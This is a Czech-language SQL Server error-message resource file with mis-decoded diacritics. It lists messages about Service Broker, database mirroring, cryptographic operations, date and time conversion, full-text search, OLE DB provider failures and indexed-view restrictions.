�PYi zpracov�n� zpr�vy ve slu~b Service Broker a PYenos zrcadlen� datab�ze doalo k chyb: chyba %1!s!, stav %2!s!.

�Kontext zprostYedkovatele kryptografick�ch slu~eb nen� inicializov�n.

dKl�
 pYed�van� do operace je v chybn�m stavu.

|Velikost kl�
e nemo~e b�t pro tento objekt kl�
e pYijata.

�Velikost vyrovn�vac� pamti kl�
e je nekonzistentn� s velikost� modulu kl�
e.

`Doalo k vnitYn� chyb slu~by Service Broker: objekt je pro tuto operaci v chybn�m stavu. Tato chyba indikuje z�va~n� probl�m v syst�mu SQL Server. Zkontrolujte protokol chyb syst�mu SQL Server a protokol chyb opera
n�ho syst�mu. Zde z�sk�te informace o mo~n�ch probl�mech souvisej�c�ch s hardwarem.

�Velikost vyrovn�vac� pamti pro hodnotu hash nen� spr�vn�, nelze inicializovat objekt hash.

�Velikost vyrovn�vac� pamti pro data aifrov�n� a deaifrov�n� nen� zarovn�na na 8 bajto.

dVelikost deaifrovan�ho podpisu je nespr�vn�.

dIntern� hodnota hash nebyla ovYena podpisem.

�Velikost hodnoty n�hodn�ho Yetzce nemo~e b�t pro tento objekt kl�
e pYijata.

�Velikost vyrovn�vac� pamti pro hodnotu n�hodn�ho Yetzce je pY�lia mal�.

HPYedan� n�zev je pY�lia dlouh�.

�Slu~ba Service Broker nemohla pYidlit pame pro kryptografick� operace. Tato zpr�va je pY�znakem jin�ho probl�mu. Dala� informace naleznete v protokolu chyb syst�mu SQL Server, ty v�m pomohou tyto pot�~e vyYeait.

TCertifik�t nen� v tuto chv�li platn�.

LPo~adovan� objekt nebyl nalezen.

tPYedan� serializovan� objekt je nespr�vn zak�dov�n.

TSoubor CER nebo PVK je pY�lia velk�.

hHeslo bylo zad�no a soubor PVK nen� zak�dov�n.

|PYi zpracov�n� operace doalo k chyb opera
n�ho syst�mu.

�Kryptografick� operace se nezdaYila. Tato chyba indikuje z�va~n� probl�m v syst�mu SQL Server. Dala� informace naleznete v protokolu chyb syst�mu SQL Server a v protokolu chyb opera
n�ho syst�mu.

�V koncov�m bod pYipojen� slu~by Service Broker nebo PYenos zrcadlen� datab�ze doalo k chyb, chyba: %1!s!, stav: %2!s!. (Role bl�zk�ho koncov�ho bodu: %3!s!, adresa vzd�len�ho koncov�ho bodu: %4!s!)

�Ve slu~b Service Broker nebo Spr�vce pYenosu zrcadlen� datab�ze doalo k chyb: Chyba: %1!s!, stav: %2!s!.

�Doalo k chyb dispe
era zpr�v slu~by Service Broker. Chyba: %1!s!, stav: %2!s!.

�Ve spr�vci slu~by Service Broker doalo k chyb. Chyba: %1!s!, stav: %2!s!.

�Doalo k chyb v mezipamti ud�losti 
asova
e. Chyba %1!s!, stav %2!s!.

Ze s�t byla pYijata poakozen� zpr�va. Ze zpr�vy ur
en� pro ID datab�ze %1!s! nebylo mo~n� na
�st atribut zpr�vy slu~by Service Broker. To mo~e znamenat, ~e doalo k pot�~�m se s�t� nebo ~e se na koncov� bod slu~by Service Broker pYipojila jin� aplikace.

lAktivace fronty %1!s! byla povolena, ale hodnota parametru MAX_QUEUE_READERS je rovna 0. }�dn� procedury nebudou aktivov�ny. Zva~te zv�aen� hodnoty parametru MAX_QUEUE_READERS.

<PYi pYipojov�n� k jin�mu zprostYedkovateli slu~by doalo k chyb zabezpe
en� (SSPI): %1!s!. Dala� informace naleznete v protokolu chyb opera
n�ho syst�mu.

Bhem operace slu~by Service Broker nebo zrcadlen� datab�ze doalo k chyb kryptografick�ho syst�mov�ho vol�n�: chyba syst�mu %1!s!.

�Bhem operace slu~by Service Broker nebo zrcadlen� datab�ze doalo k chyb syst�mov�ho vol�n�: chyba syst�mu: %1!s!.

�Slu~b Service Broker se nepodaYilo na
�st kl�
 relace pro aifrov�n� zpr�vy.

�Podpis aktiva
n� ulo~en� procedura %1!s! je neplatn�. Parametry nejsou povoleny.

�Pokus o pou~it� datab�ze se nezdaYil, datab�ze neexistuje.

�Struktura tabulky fronty pYenosu je v datab�zi nekonzistentn�. Pravdpodobn doalo k poakozen� datab�ze.

�Ve spr�vci v�cesmrov�ho vys�l�n� slu~by Service Broker doalo k chyb. Chyba: %1!s!, stav: %2!s!.

�Struktura pracovn� tabulky pYenosu slu~by Service Broker v datab�zi tempdb je nespr�vn� nebo poakozen�. To mo~e znamenat, ~e doalo k poakozen� datab�ze nebo pot�~�m s hardwarem. Zkontrolujte protokol chyb syst�mu SQL Server a protokol chyb opera
n�ho syst�mu a vyhledejte informace o mo~n�ch pot�~�ch s hardwarem. Datab�zi tempdb sestavte znovu restartem syst�mu SQL Server.

|K tabulce fronty pYenosu v datab�zi nelze z�skat pY�stup.

hVlastnost %1!s! trasy %2!s! nemo~e b�t pr�zdn�.

�Vlastnost %1!s! trasy %2!s! mus� obsahovat m�n ne~ %3!s! znako.

�PYi zrcadlen� je tYeba pro trasu %1!s! zadat parametry SERVICE_NAME a BROKER_INSTANCE .

�Parametr BROKER_INSTANCE pro trasu %1!s! nelze zadat bez parametru SERVICE_NAME.

HSyst�mov� objekt nelze zmnit.

�Zpr�vy s ID konverzace %1!s! byly odebr�ny z fronty pYenosu.

�Zpr�vy s popisova
em konverzace %1!s! a konverza
n� skupinou %2!s! byly odebr�ny z fronty s ID %3!s!.

dPro frontu s ID %1!s! byla zak�z�na aktivace.

�Kontrakt slu~by s ID %1!s! odkazuje na chybj�c� typ zpr�vy s ID %2!s!.

�Slu~ba s ID %1!s! odkazuje na chybj�c� kontrakt slu~by s ID %2!s!.

�Slu~ba s ID %1!s! odkazuje na chybj�c� frontu slu~by s ID %2!s!.

�Koncov� bod konverzace %1!s! odkazuje na chybj�c� konverza
n� skupinu %2!s!.

�Koncov� bod konverzace s ID %1!s! a parametr is_initiator: %2!s! odkazuj� na chybj�c� kontrakt slu~by s ID %3!s!.

�Koncov� bod konverzace s ID %1!s! a parametr is_initiator: %2!s! odkazuj� na chybj�c� slu~bu s ID %3!s!.

�Konverza
n� skupina %1!s! odkazuje na chybj�c� slu~bu s ID %2!s!.

LSlu~ba s ID %1!s! byla vyYazena.

XKontrakt slu~by s ID %1!s! byl vyYazen.

|Koncov� bod konverzace s popisova
em %1!s! byla vyYazen.

\Konverza
n� skupina %1!s! byla vyYazena.

�Koncov� bod %1!s! nemo~e naslouchat na portu %2!s!, proto~e jej pou~�v� jin� proces.

�Koncov� bod %1!s! nemo~e naslouchat pro pYipojen� z dovodu n�sleduj�c� chyby: %2!s!.

0Spr�vce slu~by Service Broker nelze spustit. Dala� chybov� zpr�vy najdete v protokolu chyb syst�mu SQL Server a protokolu chyb opera
n�ho syst�mu.

�NepodaYilo se pYidlit dostatek pamti, spr�vce �loh slu~by Service Broker nebyl spuatn. Tato zpr�va je pY�znakem jin�ho probl�mu. Dala� informace naleznete v protokolu chyb syst�mu SQL Server, ty v�m pomohou tyto pot�~e vyYeait.

�Prim�rn� obslu~nou rutinu ud�losti slu~by Service Broker nelze spustit. Tato chyba je pY�znakem jin�ho probl�mu. Dala� zpr�vy naleznete v protokolu chyb syst�mu SQL Server, ty v�m pomohou tyto pot�~e vyYeait.

�Spr�vce zabezpe
en� slu~by Service Broker nelze spustit. Tato zpr�va je pY�znakem jin�ho probl�mu. Dala� informace naleznete v protokolu chyb syst�mu SQL Server a v protokolu chyb opera
n�ho syst�mu, ty v�m pomohou tyto pot�~e vyYeait.

�PYi pYid�v�n� procesoro nelze dala�m �loh�m slu~by Service Broker pYidlit pame.

�Spr�vce aktivace slu~by Service Broker nelze spustit. Tato zpr�va je pY�znakem jin�ho probl�mu. Dala� zpr�vy naleznete v protokolu chyb syst�mu SQL Server a v protokolu chyb opera
n�ho syst�mu, ty v�m pomohou tyto pot�~e vyYeait.

�Tuto zpr�vu nelze doru
it, proto~e se nezdaYilo jej� ovYen� XML. K chyb doalo pYi doru
ov�n� zpr�vy c�lov� slu~b.

�Zpr�vy ve front s ID %1!s! odkazuj� na neplatn� popisova
 konverzace %2!s!.

�Ulo~en� procedura s ID %1!s! je neplatn�, ale je odkazov�na frontou s ID %2!s!.

�Aktiva
n� u~ivatel s ID %1!s! je neplatn�, ale je odkazov�n frontou s ID %2!s!.

�Zpr�vy ve front s ID %1!s! odkazuj� na neplatnou konverza
n� skupinu %2!s!.

�Zpr�vy ve front s ID %1!s! odkazuj� na neplatn� typ zpr�vy s ID %2!s!.

�Koncov� bod konverzace s ID %1!s! a parametr is_initiator: %2!s! odkazuj� na neplatnou konverza
n� skupinu %3!s!.

|Fronta pYenosu odkazuje na neplatn� ID konverzace %1!s!.

�Vazba vzd�len� slu~by s ID %1!s! odkazuje na neplatn� kontrakt slu~by s ID %2!s!.

�Typ zpr�vu s ID %1!s! odkazuje na neplatnou kolekci sch�mat XML s ID %2!s!.

Koncov� bod konverzace s popisova
em konverzace %1!s! je v nekonzistentn�m stavu. Zkontrolujte protokol chyb syst�mu SQL Server a protokol chyb opera
n�ho syst�mu a vyhledejte informace o mo~n�ch pot�~�ch s hardwarem. Chcete-li datab�zi zotavit, obnovte ji z 
ist� z�lohy. Nem�te-li 
istou z�lohu k dispozici, zva~te spuatn� pY�kazu DBCC CHECKDB. PY�kaz DBCC CHECKDB mo~e odebrat data.

�Konverza
n� skupina %1!s! hl�s� odkazy na popisova
e konverzace %2!s!, ale ve skute
nosti odkazuje na popisova
e %3!s!.

HAktivaci pomoc� ulo~en�ch procedur nelze pro frontu %1!s! povolit. Ozn�men� ud�losti pro ud�losti typu queue_activation je ji~ pro tuto frontu nakonfigurov�no.

LOzn�men� ud�losti pro ud�losti typu queue_activation nelze pro frontu %1!s! vytvoYit. Aktivace pomoc� ulo~en�ch procedur je pro tuto frontu ji~ nakonfigurov�na.

�Datab�ze pro tento koncov� bod konverzace je pYipojen� nebo obnoven�.

�Datab�ze pro vzd�len� koncov� bod konverzace je pYipojen� nebo obnoven�.

xZ typu zpr�vy s ID %1!s! bylo vyYazeno neplatn� sch�ma.

hVazba vzd�len� slu~by s ID %1!s! byla vyYazena.

�Zabezpe
en� dialogu nen� pro tuto konverzaci k dispozici, proto~e pro c�lovou slu~bu neexistuje ~�dn� vazba vzd�len� slu~by. VytvoYte vazbu vzd�len� slu~by nebo v pY�kazu BEGIN DIALOG zadejte mo~nost ENCRYPTION = OFF.

pCertifik�t zabezpe
en� nelze naj�t, proto~e ID objektu zabezpe
en� vyhled�vac� datab�ze (%1!s!) je neplatn�. Objekt zabezpe
en� byl pravdpodobn vyYazen po vytvoYen� konverzace.

�Certifik�t zabezpe
en� nelze naj�t, proto~e objekt zabezpe
en� vyhled�vac� datab�ze (ID: %1!s!) neodpov�d� objektu zabezpe
en� serveru. Objekt zabezpe
en� byl pravdpodobn vyYazen po vytvoYen� konverzace.

4Zabezpe
en� dialogu nen� pro tuto konverzaci k dispozici, proto~e k objektu zabezpe
en� datab�ze nen� v�z�n ~�dn� certifik�t zabezpe
en� (ID objektu zabezpe
en�: %1!s!). VytvoYte certifik�t pro objekt zabezpe
en� nebo pYi spouatn� konverzace zadejte mo~nost ENCRYPTION = OFF.

Pro certifik�t zabezpe
en� v�zan� k objektu zabezpe
en� datab�ze neexistuje ~�dn� priv�tn� kl�
 (ID objektu zabezpe
en�: %1!s!). Certifik�t byl pravdpodobn nespr�vn vytvoYen nebo nainstalov�n. Nainstalujte certifik�t znovu nebo vytvoYte nov� certifik�t.

�D�lka priv�tn�ho kl�
e pro certifik�t zabezpe
en� v�zan� k objektu zabezpe
en� datab�ze (ID: %1!s!) je nekompatibiln� se zprostYedkovatelem kryptografick�ch slu~eb opera
n�ho syst�mu. D�lka kl�
e mus� b�t n�sobkem 64 bajto.

�D�lka veYejn�ho kl�
e pro certifik�t zabezpe
en� v�zan� k objektu zabezpe
en� datab�ze (ID: %1!s!) je nekompatibiln� se zprostYedkovatelem kryptografick�ch slu~eb opera
n�ho syst�mu. D�lka kl�
e mus� b�t n�sobkem 64 bajto.

�PYi pYenosu dialogu doalo k chyb: chyba: %1!s!, stav: %2!s!. %3!s!

�Soukrom� kl�
 pro certifik�t zabezpe
en� v�zan� k objektu zabezpe
en� datab�ze (ID %1!s!) je chr�nn� heslem. Pou~it� priv�tn�ch kl�
o chr�nn�ch heslem spole
n se zabezpe
en�mi dialogy nen� podporov�no.

�lohu pro dispe
era zpr�v slu~by Service Broker nelze vytvoYit. Tato zpr�va je pY�znakem jin�ho probl�mu, kter� br�n� syst�mu SQL Server ve vytv�Yen� �loh. Dala� zpr�vy naleznete v protokolu chyb syst�mu SQL Server a protokolu chyb opera
n�ho syst�mu.

�Doalo k chyb vys�la
e zpr�v v dispe
eru zpr�v slu~by Service Broker, po
et chyb: %1!s!.

�Dispe
era zpr�v slu~by Service Broker nelze spustit. Tato chyba je pY�znakem jin�ho probl�mu. Dala� zpr�vy naleznete v protokolu chyb syst�mu SQL Server a v protokolu chyb opera
n�ho syst�mu, ty v�m pomohou tyto pot�~e vyYeait.

�Aktiva
n� ulo~en� procedura %1!s! je neplatn�. Do
asn� procedury nelze konfigurovat pro aktivaci.

�Vlastnost %1!s! trasy %2!s! mus� b�t pYi pou~it� zrcadlen� adresa.

hVlastnost %1!s! trasy %2!s! nen� platn� adresa.

�Kdy~ je zad�n argument SERVICE_NAME, nelze argument ADDRESS trasy %1!s! nastavit na mo~nost TRANSPORT.

�Argument LIFETIME trasy %1!s! mus� b�t v rozsahu %2!s!-%3!s!.

�Argumenty ADDRESS a MIRROR_ADDRESS trasy %1!s! nemohou b�t stejn�.

HKonverzace konfigurace slu~by Service Broker na popisova
i dialogu %1!s! byla z dovodu chyby ukon
ena. Chcete-li tyto pot�~e vyYeait, prostudujte chybu %2!s!.

(Certifik�t zabezpe
en� v�zan� k objektu zabezpe
en� datab�ze (ID: %1!s!) nelze pou~�t s pY�kazem BEGIN DIALOG, pou~it� bylo zak�z�no. Chcete-li pro certifik�t nastavit vlastnost ACTIVE FOR BEGIN_DIALOG, vyhledejte na webu Knihy online t�ma Certificates and Service Broker (Certifik�ty a slu~ba Service Broker), kter� obsahuje pYehled, a t�ma ALTER CERTIFICATE (Transact-SQL), kter� obsahuje syntaxi.

|U~ivatel datab�ze pYidru~en� k zabezpe
en� konverzaci byl vyYazen dY�ve, ne~ byla se vzd�len�m koncov�m bodem vymnna povYen�. PYi vytv�Yen� konverzac� nepou~�vejte pY�kaz DROP USER.

V datab�zi %1!s! nelze slu~bu Service Broker povolit, proto~e v n� ji~ je povolena instance slu~by Service Broker se stejn�m ID.

�V datab�zi jen pro 
ten� %1!s! nelze vytvoYit novou instanci slu~by Service Broker.

�V datab�zi %1!s! nelze povolit slu~bu Service Broker, proto~e identifik�tor GUID slu~by Service Broker v datab�zi (%2!s!) nen� shodn� s identifik�torem slu~by ve zobrazen� sys.databases (%3!s!).

�V zrcadlen� datab�zi %1!s! nelze vytvoYit novou instanci slu~by Service Broker.

Zpr�vu nelze doru
it, proto~e ji nelze zatY�dit. Dovod chyby mo~ete zobrazit povolen�m trasov�n� zatY�dn� zpr�v zprostYedkovatele.

�PYi pYevodu typu %1!s! na %2!s! doalo k chyb. V�sledek bude zkr�cen.

�Identifik�tor n�rodn�ho prostYed� (LCID) %1!s! nen� syst�mem SQL Server podporov�n.

LData pro typ %1!s! jsou neplatn�.

DSloupec nebo parametr #%1!s!: Zlomkov� pYesnost pro sekundy %2!s! zadan� pro datov� typ %3!s! je neplatn�. Maxim�ln� zlomkov� pYesnost pro sekundy je %4!s!.

tTyp datepart %1!s! nen� podporov�n funkc� data %2!s!.

�Vstupn� Yetzec znako neodpov�d� stylu %1!s!, zmHte vstupn� Yetzec znako nebo pou~ijte jin� styl.

�PYi pYevodu z tohoto form�tu Yetzce znako na typy date, time, datetime2 nebo datetimeoffset nen� form�t data RDM t�to relace podporov�n. ZmHte form�t data relace nebo zadejte styl pro explicitn� pYevod.

�Styl %1!s! nen� podporov�n pro pYevod typu %2!s! na typ %3!s!.

�Typ datepart %1!s! nen� podporov�n funkc� data %2!s! pro datov� typ %3!s!.

xInformace o 
asov�m p�smu syst�mu se nepodaYilo na
�st.

�asov� p�smo poskytnut� pYeddefinovan� funkci %1!s! je neplatn�.

8asov� p�smo poskytnut� pYeddefinovan� funkci %1!s! by zposobilo pYete
en� typu datetimeoffset mimo platn� rozsah dat ve standardu UTC 
i m�stn�m 
asu.

�Zadan� datum je pYed za
�tkem kalend�Ye Hid~ra, kter� podle Kuvajtsk�ho algoritmu spole
nosti Microsoft pYipad� na 15. 
ervence 622 (juli�nsk� kalend�Y) nebo 18. 
ervence 622 (proleptick� gregori�nsk� kalend�Y).

�PY�kazy WAITFOR DELAY a WAITFORTIME nemohou b�t typu %1!s!.

�Po
et sloupco v sad sloupco pYekra
uje 2048. Omezte po
et sloupco odkazovan�ch v sad sloupco.

�Zadan� hodnota sady sloupco vede na odhadovanou velikost Y�dku nejm�n %1!s! bajto. To je v�ce ne~ maxim�ln� povolen� velikost Y�dku %2!s! bajto. Chcete-li velikost Y�dku omezit, omezte po
et sloupco zadan� v sad sloupco.

�Parametr jazykov� verze %1!s! zadan� pYi vol�n� funkce nen� podporov�n.

�PYi pYevodu Yetzcov� hodnoty %1!s! na datov� typ %2!s! s pou~it�m jazykov� verze %3!s! doalo k chyb.

�Parametr 
asov�ho p�sma %1!s! poskytnut� klauzuli AT TIME ZONE je neplatn�.

lPYi pYevodu 
asov�ho p�sma doalo k�vnitYn� chyb.

�PYi pY�stupu k �dajom o 
asov�m p�smu doalo k intern� chyb.

XPYeddefinovan� funkce COMPRESS selhala.

|Pro bh pYeddefinovan� funkce COMPRESS nen� dost pamti.

\PYeddefinovan� funkce DECOMPRESS selhala.

�PYeddefinovan� funkci DECOMPRESS byla jako argument pYedan� nekomprimovan� nebo poakozen� data.

�Pro bh pYeddefinovan� funkce DECOMPRESS nen� dost pamti.

�Druh� a tYet� argument pYeddefinovan� funkce TRANSLATE mus� obsahovat stejn� po
et znako.

�V�sledek agregace STRING_AGG pYes�hl omezen� 8000 bajto. Abyste zabr�nili oY�znut� v�sledku, pou~�vejte typy LOB.

|%1!s! nemo~e b�t mena� ne~ nula.\nN�zev parametru: %2!s!.

�%1!s! nemo~e b�t vta� ne~ d�lka Yetzce.\nN�zev parametru: %2!s!.

�Index a d�lka mus� odkazovat na m�sto uvnitY Yetzce.\nN�zev parametru: %1!s!.

\Neplatn� data pro znaky s k�dov�n�m %1!s!

Fulltextov� katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!) nem� dostatek m�sta na disku. Ne~ bude k dispozici v�ce m�sta, budou pozastavena vaechna prob�haj�c� plnn�. K�d dovodu: %5!s!, chyba: %6!s!. Chcete-li v plnn� pokra
ovat, uvolnte m�sto na disku.

PChyba: V plnn� fulltextov�ho %1!s!u pro tabulku nebo indexovan� zobrazen� %2!s! v datab�zi %3!s! (ID tabulky nebo indexovan�ho zobrazen� %4!s!, ID datab�ze %5!s!) nelze pokra
ovat. Chyba: 0x%6!s!. Zopakujte operaci, kter� aktivovala pokra
ov�n� plnn�, nebo index vyYate a vytvoYte znovu.

�Ve fulltextov�m mapova
i identifik�toro docID doalo k vnitYn� chyb.

�Fulltextov� pY�kaz DDL se nezdaYil, proto~e syst�m SQL Server byl spuatn v jednou~ivatelsk�m re~imu.

<Bhem upgradu byla zjiatna z�va~n� chyba 0x%1!s! ve funkci CoCreateGuid. Pro polo~ku %2!s! se nepodaYilo pYelo~it n�zev souboru fulltextov�ho katalogu.

�Fulltextov� katalog %1!s! se nepodaYilo znovu sestavit: Soubor hlavi
ek katalogu je jen pro 
ten�.

�Fulltextov� katalog %1!s! se nepodaYilo znovu sestavit: Fulltextov� katalog je jen pro 
ten�.

$Po
�tan� sloupec %1!s! nelze pou~�t pro fulltextov� vyhled�v�n�, proto~e se jedn� o nedeterministick� 
i nepYesn� netrval� po
�tan� sloupec.

�Po
�tan� sloupec %1!s! nelze pou~�t jako sloupec fulltextov�ho typu pro sloupec typu image nebo varbinary(MAX). Tento po
�tan� sloupec mus� b�t deterministick�, pYesn� nebo trval�, s velikost� mena� nebo rovnu %2!s! znakom.

�Bylo zad�no pY�lia mnoho fulltextov�ch sloupco nebo je fulltextov� dotaz pY�lia slo~it�, akci nelze prov�st.

lZadan�ho u~ivatele nebo roli %1!s! nelze nal�zt.

�Aktu�ln� u~ivatel nebo role %1!s! nem� po~adovan� opr�vnn� k nastaven� vlastn�ka.

Cesta %1!s! m� neplatn� atributy, Mus� se jednat o adres�Y. Adres�Y nesm� b�t skryt�, jen pro 
ten� nebo na vymniteln� jednotce.

�Syst�mu SQL Server se nepodaYilo komunikovat se slu~bou spuatn� d�mona filtru (chyba opera
n�ho syst�mu: %1!s!). Proces d�mona fulltextov�ho filtru se nepodaYilo spustit. Funkce fulltextov�ho vyhled�v�n� nebude k dispozici.

Syst�mu SQL Server se nepodaYilo vytvoYit pojmenovan� kan�l %1!s! pro komunikaci s d�monem fulltextov�ho filtru (chyba opera
n�ho syst�mu: %2!s!). Pojmenovan� kan�l pro hostitelsk� proces d�mona filtru ji~ existuje, syst�m nem� dostatek prostYedko nebo se nezdaYilo vyhled�v�n� identifik�toru zabezpe
en� (SID) pro skupinu �
to d�mona filtru. Chcete-li tuto chybu vyYeait, ukon
ete vaechny spuatn� procesy d�mona fulltextov�ho filtru a v pY�pad potYeby nakonfigurujte znovu �
et slu~by spuatn� fulltextov�ho d�mona.

�Po~adovanou �lohu nelze prov�st, proto~e fulltextov� spr�vce pamti nen� inicializov�n.

�Zobrazen� %1!s! nen� indexovan� zobrazen�. Nelze pro nj vytvoYit fulltextov� index.

�Vlastnosti fulltextov�ho katalogu logical name, size, maxsize, filegrowth a offline nelze zmnit.

�PYesun fulltextov�ho katalogu z um�stn� %1!s! do %2!s! se nezdaYil. Chyba opera
n�ho syst�mu %3!s!.

�Fulltextovou operaci se nepodaYilo dokon
it. Skupina souboro %1!s! je pr�zdn�, jen pro 
ten� nebo nen� online.

�Pro parametr %1!s! byla zad�na hodnota NULL nebo hodnota neplatn�ho typu.

�V hlavn� datab�zi, modelov� datab�zi a datab�zi tempdb nelze pou~�t fulltextov� vyhled�v�n�.

�Fulltextovou operaci nelze dokon
it, proto~e fulltextov� kl�
 pro tabulku nebo indexovan� zobrazen� %1!s! je offline.

Datab�ze nen� �pln spuatna nebo nen� online. Po �pln�m spuatn� datab�ze a pYechodu do stavu online fulltextov� pY�kaz DDL opakujte.

4Promnn� parametry nelze pYedat fulltextov�m predik�tom contains a freetext ani funkc�m containstable a freetexttable pou~it�m na vzd�lenou tabulku.

�V u~ivatelsk� instanci nelze pou~�t fulltextov� vyhled�v�n�.

Hodnota %1!s! pro fulltextovou komponentu %2!s! je dela� ne~ maxim�ln� povolen� hodnota (po
et znako: %3!s!). Omezte d�lku hodnoty.

DPro generov�n� mezipamti seznamu vlastnost� vyhled�v�n� nen� dostatek pamti. PY�kaz fulltextov�ho indexov�n� opakujte, a~ bude k dispozici v�ce prostYedko.

�Mezipame seznamu vlastnost� vyhled�v�n� nelze generovat bhem fulltextov�ho indexov�n�. PYi dotazu na registrovan� vlastnosti vyhled�v�n� doalo k vnitYn� chyb. Hodnota HRESULT k�du chyby: HRESULT = 0x%1!s!

�Hodnota argumentu max gap v klauzuli NEAR mus� b�t slovo MAX nebo cel� 
�slo vta� nebo rovno 0.

�Po
et vyhled�vac�ch dotazo v klauzuli NEAR mus� b�t mena� nebo roven 64.

tV t�to instanci nejde pou~�t fulltextov� vyhled�v�n�.

LSloupec %1!s! nelze pYidat do fulltextov�ho indexu. Fulltextov� indexy jsou omezeny na 1024 sloupco. PYi vytv�Yen� fulltextov�ch indexo pYid�vejte m�n sloupco.

�Sloupec %1!s! v tabulce %2!s! nelze pou~�t k fulltextov�mu vyhled�v�n�, proto~e se jedn� o sadu zhuatn�ch sloupco.

LNezn�m� chyba zprostYedkovatele.

tZprostYedkovatel ohl�sil neo
ek�vanou z�va~nou chybu.

\ZprostYedkovatel funkci neimplementoval.

XZprostYedkovatel nem� dostatek pamti.

�Nejm�n jeden argument byl zprostYedkovatelem ohl�aen jako neplatn�.

XZprostYedkovatel nepodporoval rozhran�.

xZprostYedkovatel ozna
il pou~it� ukazatel za neplatn�.

xZprostYedkovatel ozna
il pou~it� popisova
 za neplatn�.

LZprostYedkovatel ukon
il operaci.

pZprostYedkovatel neposkytl ~�dn� informace o chyb.

�Data nezbytn� pro dokon
en� t�to operace nebyla zprostYedkovateli k dispozici.

4PY�stup byl odepYen.

�Prov�dn� bylo ukon
eno zprostYedkovatelem z dovodu dosa~en� limitu prostYedko.

�ZprostYedkovatel volal metodu z rozhran� IRowsetNotify pY�jemce a metoda zat�m nevr�tila v�sledek.

hZprostYedkovatel nepodporuje potYebnou metodu.

�ZprostYedkovatel indikuje, ~e u~ivatel neml k proveden� operace opr�vnn�.

�ZprostYedkovatel zposobil chybu serveru v extern�m procesu.

H}�dn� text pY�kazu nebyl zad�n.

8PY�kaz nebyl pYipraven.

8OvYov�n� se nezdaYilo.

�Nelze vr�tit nkolik sad v�sledko dotazu (nen� podporov�no zprostYedkovatelem).

�Zadan� index neexistuje nebo zprostYedkovatel nepodporuje skenov�n� indexu v tomto zdroji dat.

�Zadan� tabulka 
i zobrazen� neexistuje nebo obsahuje chyby.

�Pro nejm�n jeden po~adovan� parametr nebyla zad�na hodnota.

hOtevYen� sada Y�dko br�n� nastaven� vlastnost�.

xVlo~en� bylo bhem ozn�men� zruaeno zprostYedkovatelem.

�Nen� mo~n� pYev�st hodnotu dat z jin�ch dovodo ne~ neshody znam�nka nebo pYete
en�.

�V hodnot dat pro jeden nebo v�ce sloupco doalo k pYete
en� typu pou~it�ho zprostYedkovatelem.

�Data poruaila omezuj�c� podm�nku integrity pro jeden nebo v�ce sloupco.

�Po
et Y�dko s 
ekaj�c�mi zmnami pYekro
il limit ur
en� vlastnost� DBPROP_MAXPENDINGROWS.

�X�dek nelze vytvoYit. Doalo by k pYekro
en� celkov�ho po
tu aktivn�ch Y�dko, kter� sada Y�dko podporuje.

�PYed uvolnn�m dY�ve na
ten�ch popisova
o Y�dko nemo~e pY�jemce vlo~it nov� Y�dek.

tZmna byla bhem ozn�men� zruaena zprostYedkovatelem.

�Nen� mo~n� pYev�st hodnotu dat z jin�ch dovodo ne~ neshody znam�nka nebo pYete
en�.

�V hodnot dat pro jeden nebo v�ce sloupco doalo k pYete
en� typu pou~it�ho zprostYedkovatelem.

�Data poruaila omezuj�c� podm�nku integrity pro jeden nebo v�ce sloupco.

�Po
et Y�dko s 
ekaj�c�mi zmnami pYekro
il limit ur
en� vlastnost� DBPROP_MAXPENDINGROWS.

PSada Y�dko pou~�vala optimistickou metodu soub~n�ho zpracov�n� a hodnota sloupce byla zmnna od posledn�ho na
ten� nebo optovn� synchronizace pY�sluan�ho Y�dku.

�PY�jemce nemo~e odstranit Y�dek. Odstrann� 
ek� na vyY�zen� nebo ji~ bylo pYeneseno do zdroje dat.

�PY�jemce nemo~e vlo~it Y�dek. Vlo~en� bylo pYeneseno do zdroje dat.

�Sada Y�dko pou~�v� integrovan� indexy a nem� ~�dn� aktu�ln� index.

�Vol�n� metody RestartPosition pro tabulku bylo bhem ozn�men� zruaeno.

�Tabulka byla sestavena na aktivn�m datov�m proudu a pozici nelze restartovat.

|ZprostYedkovatel nkter� z existuj�c�ch Y�dko neuvolnil.

�V objektu, kter� vytvoYil sadu Y�dko, nebylo zad�no poYad� sloupco. ZprostYedkovatel musel pY�kaz spustit znovu, aby pYem�stil n�sleduj�c� na
tenou pozici na v�choz� pozici. PoYad� sloupco se zmnilo.

lNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e obsahuje kl�
ov� slovo DISTINCT. Zva~te odebr�n� klauzule DISTINCT ze zobrazen� nebo vynech�n� indexu tohoto zobrazen�. PY�padn nahrate klauzuli DISTINCT klauzul� GROUP BY nebo COUNT_BIG(*). Mo~ete t�m simulovat klauzuli DISTINCT pro seskupen� sloupco.

`Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e obsahuje kl�
ov� slovo TOP nebo OFFSET. Zva~te odebr�n� klauzule TOP nebo OFFSET nebo vynech�n� indexu tohoto zobrazen�.

DNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e obsahuje klauzuli TABLESAMPLE. Zva~te odebr�n� klauzule TABLESAMPLE nebo vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e pou~�v� funkci OPENROWSET, OPENQUERY nebo OPENDATASOURCE. Zva~te odebr�n� funkc� OPENQUERY, OPENROWSET a OPENDATASOURCE nebo vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e odkazuje na tabulku pomoc� fulltextov� funkce CONTAINSTABLE nebo FREETEXTTABLE. Zva~te odebr�n� tchto funkc� nebo vynech�n� indexu tohoto zobrazen�.

lNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e pou~�v� zprostYedkovatele sady Y�dko OPENXML. Zva~te odebr�n� zprostYedkovatele OPENXML nebo vynech�n� indexu tohoto zobrazen�.

@Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e odkazuje na intern�ho syst�mov�ho zprostYedkovatele sady Y�dko. Zva~te vynech�n� indexu tohoto zobrazen�.

XNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e pou~�v� promnnou tabulky %3!s!. Zva~te vynech�n� indexu tohoto zobrazen� nebo odebr�n� odkazu na promnnou tabulky.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e odkazuje na intern� tabulku syst�mu SQL Server.

